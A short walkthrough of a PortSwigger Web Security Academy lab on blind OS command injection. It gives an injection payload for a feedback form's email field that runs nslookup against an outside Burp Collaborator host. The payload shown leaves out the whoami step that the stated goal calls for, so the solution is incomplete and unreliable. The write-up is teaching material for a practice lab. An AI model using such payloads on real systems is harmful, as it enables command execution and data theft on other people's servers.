Blind OS command injection with out-of-band data exfiltration

Platform: PortSwigger | Category: Command_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, Command_injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab Blind OS command injection with out-of-band data exfiltration (Command_injection). This lab demonstrates a command_injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — Command_injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, execute the whoami command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to complete the lab.

Solution -

We first create a external server ie . collaborator server.

Copy the collaborator server link - http://zorh37nyfzjbsg1nog7j9m16zx5ntc.burpcollaborator.net/

Paste the payload & nslookup zorh37nyfzjbsg1nog7j9m16zx5ntc.burpcollaborator.net # (URL - encode ) in the email parameter .

Now click SEND button, click POLL NOW button in burp collaborator` ,

Key Takeaways / Lessons

• Understanding Command_injection detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

---

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Blind OS command injection with out-of-band data exfiltration